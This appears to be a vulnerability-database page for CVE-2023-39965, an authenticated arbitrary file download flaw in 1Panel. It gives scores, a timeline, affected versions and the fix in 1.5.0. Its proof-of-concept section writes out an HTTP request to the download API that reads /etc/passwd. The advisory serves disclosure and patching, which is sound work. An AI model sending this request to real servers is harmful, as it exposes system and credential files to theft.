CVE-2023-39965Medium· 6.5▾ Sunlit

1Panel Arbitrary File Download vulnerability

▾ Sunlit zone — Low / medium · no exploitation signal

Depth score36/ 100 · Low

impact 35.8 · likelihood 0.1 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Aug 10, 2023

Updated

Sep 10, 2026

CVSS

6.5

Vendor

1Panel-dev

Product

github.com/1Panel-dev/1Panel

CWE

—

Depth score

36 · Low

EPSS

0.44% · p38

Platforms

—

Source

OSV

Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

EPSS history

Exploit-prediction probability, daily snapshots since Sep 12.

0.4% → 0.4%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 1129 days

Aug 10, 2023Published
Disclosed via OSV
Sep 10, 2026Record revised
Last analysed / modified upstream
Sep 12, 2026EPSS first tracked
0.4%

1Panel-dev #osv #go

Affected

github.com/1Panel-dev/1Panel >= 1.4.3, < 1.5.0

Patched in

github.com/1Panel-dev/1Panel 1.5.0

Full technical detail▾

Overview

Summary

Any file downloading vulnerability exists in 1Panel backend.

Details

Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.

PoC

payload:

POST /api/v1/files/download/bypath HTTP/1.1 Host: ip Content-Type: application/json

{"path":"/etc/passwd"}

f77959349e96543436eea18283fa75c

Impact

Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.

Affected packages

github.com/1Panel-dev/1Panel >= 1.4.3, < 1.5.0

Remediation

Upgrade to a patched release:

github.com/1Panel-dev/1Panel 1.5.0

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#osv#go

← Back to feed